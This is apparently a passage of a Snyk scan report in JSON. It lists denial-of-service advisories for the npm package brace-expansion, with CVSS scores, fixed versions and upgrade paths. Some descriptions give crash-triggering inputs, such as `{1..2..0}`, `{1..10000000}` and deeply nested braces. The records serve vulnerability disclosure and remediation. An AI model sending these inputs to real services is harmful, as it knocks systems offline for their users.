[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, 